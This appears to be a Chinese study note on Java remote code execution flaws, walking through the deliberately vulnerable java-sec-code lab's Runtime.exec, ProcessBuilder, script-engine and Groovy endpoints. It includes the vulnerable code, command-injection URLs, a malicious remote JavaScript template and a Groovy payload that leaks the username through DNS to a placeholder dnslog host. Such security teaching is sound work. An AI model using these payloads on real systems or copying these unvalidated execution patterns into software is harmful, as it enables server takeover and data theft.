!NOTE
本次学习使用开源项目:
https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java使用工具:
浏览器
IDEA
目录
- [✅ 什么是 RCE 漏洞?](#✅ 什么是 RCE 漏洞?)
- [🎯 典型攻击场景](#🎯 典型攻击场景)
* - 🤞以下为集中典型RCE漏洞代码场景
- 1、Runtime
- [为什么Runtime.getRuntime无法直接执行
dir
,而是cmd /c dir
?](#为什么Runtime.getRuntime无法直接执行dir,而是cmd /c dir?) - 2、ProcessBuilder
- 3、ScriptEngineManager
- 4、Groovy
✅ 什么是 RCE 漏洞?
RCE(远程代码执行)指的是:
攻击者利用服务器应用程序中的某些漏洞,将恶意代码传输到服务器,并在服务器上以服务器权限执行这些代码。
简而言之,就是攻击者"远程控制服务器执行命令",可以做几乎任何操作:
- 读写文件
- 远程控制
- 添加后门
- 窃取数据库数据
- 横向渗透、内网打点
🎯 典型攻击场景
以下是几种常见导致 RCE 漏洞的场景:
命令注入
Java 中使用 Runtime.exec()
或 ProcessBuilder
时拼接了用户输入:
java
String cmd = "ping " + userInput;
Runtime.getRuntime().exec(cmd);
如果用户输入的是:
cmd
127.0.0.1 && whoami
最终执行命令为:
cmd
ping 127.0.0.1 && whoami
服务器会在 ping 后执行 whoami
,泄露系统身份。
🤞以下为集中典型RCE漏洞代码场景
1、Runtime
java
@RequestMapping("/rce")
public class Rce {
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}
inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
}
通过查看代码发现,进入函数执行的URi为 /rce/runtime/exec
java
@RequestMapping("/rce")
public class Rce {
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
传入参数为cmd,因此构造payloadhttp://127.0.0.1:8081/rce/runtime/exec?cmd=cmd /c dir
这段代码完全没有对用户传入的 cmd
参数做任何校验或过滤,使得攻击者可以通过浏览器或 HTTP 客户端构造如下 URL,实现远程命令执行
java
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
}
为什么Runtime.getRuntime无法直接执行dir
,而是cmd /c dir
?
++理解这个很重要++
++Runtime.getRuntime.exec的部分调用链++
java
Runtime.getRuntime.exec()
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
java.lang.ProcessBuilder#start
java.lang.SecurityManager#checkExec
java.lang.ProcessImpl#ProcessImpl
其中如下java.lang.ProcessBuilder#start
部分代码如下
java
public Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
// list might try to circumvent the security check.
String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();
for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
String prog = cmdarray[0]; //这里会找到["cmd","/c","dir"]第一个元素,也就是cmd,然后丢给security.checkExec(prog);
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
其中的java.lang.SecurityManager#checkExec
如下
java
public void checkExec(String cmd) {
File f = new File(cmd);
if (f.isAbsolute()) {
checkPermission(new FilePermission(cmd,
SecurityConstants.FILE_EXECUTE_ACTION));
} else {
checkPermission(new FilePermission("<<ALL FILES>>",
SecurityConstants.FILE_EXECUTE_ACTION));
}
}
其中的java.lang.ProcessImpl#ProcessImpl
部分代码如下
java
if (allowAmbiguousCommands && security == null) {
// Legacy mode.
// Normalize path if possible.
String executablePath = new File(cmd[0]).getPath();
// No worry about internal, unpaired ["], and redirection/piping.
if (needsEscaping(VERIFICATION_LEGACY, executablePath) )
executablePath = quoteString(executablePath);
cmdstr = createCommandLine(
//legacy mode doesn't worry about extended verification
VERIFICATION_LEGACY,
executablePath,
cmd);
} else {
String executablePath;
try {
executablePath = getExecutablePath(cmd[0]);
}
经过分析可以知道,Runtime.getRuntime().exec(cmd)
的命令执行路径大致为
java
Runtime --> ProcessBuilder --> ProcessImpl
其中,命令cmd /c dir
会被转为List数组 ,其中数组的第一个元素cmd
为可执行文件的名称 ,最终将可执行文件名称交给ProcessBuilder进行下一步调用
那么可以得出结论:第一个元素的名字必须能在系统变量Path
中找到,这就是为什么不能直接使用dir等命令的原因了
如系统变量Path中有Bandizip的目录,那么传入http://localhost:8081/rce/runtime/exec?cmd=Bandizip
,成功执行Bandizip

2、ProcessBuilder
ProcessBuilder顾名思义为进程构建器,函数接收包含一个或多个String类型元素的List,或者String类型的可变参数
数组的第一个 元素为要执行的应用程序的名称,后续元素为执行时的参数
在Windows中,默认第一个参数为cmd,Linux中则需要手动指定
java
@RequestMapping("/rce")
public class Rce {
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {
StringBuilder sb = new StringBuilder();
try {
// String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
String[] arrCmd = {cmd}; //windows,windos下无需指定
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
}
通过查看代码发现,命令执行部分如下,且发现从cmd参数传入,一直到processBuilder.start()都没有对执行的命令进行任何过滤
因此,可以通过控制传入cmd参数执行攻击者想要的任何命令
java
try {
// String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
String[] arrCmd = {cmd}; //windows,windos下无需指定
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
查看注释上的路由,构造URi为http://localhost:8081/rce/ProcessBuilder?cmd=whoami
成功执行命令

3、ScriptEngineManager
++存在漏洞的代码++
java
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}
加载一个JS引擎
java
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
使用JS引擎执行命令,这里使用load()
从远程加载JS文件
所以我们可以把恶意payload写在远程js文件中,经由JS引擎加载之后执行恶意命令,进而实现RCE
++远程恶意JS模板++
js
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");
}
var a = mainOutput();
++注意!!!:根据不同的Script引擎,可能会有不同的执行效果++
这里起一个python simple httpserver,然后放入恶意js文件,然后构造一个恶意Payloadhttp://localhost:8081/rce/jscmd?jsurl=http://127.0.0.1:9090/1.js
,成功执行恶意payload

4、Groovy
Groovy 是一种基于 Java 平台 的 动态脚本语言,语法简洁、灵活,兼容 Java,并能与 Java 无缝集成。可以把 Groovy 看成是 "更轻量、更灵活的 Java"。
如果不安全的Groovy接口由用户可控,那么就很容易造成RCE漏洞
++示例代码++
java
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
上述代码开启了一个GroovyShell,并且执行的参数用户可控
因此可以构造Payload执行Groovy命令,构造
groovy
def cmd="cmd /c ping %USERNAME%.your.dnslog.cn"
cmd.execute()
经过URL编码后为
shell
def%20cmd%3D%22cmd%20/c%20ping%20%25USERNAME%25.your.dnslog.cn%22%0Acmd.execute%28%29
最终成功触发DNS回显验证
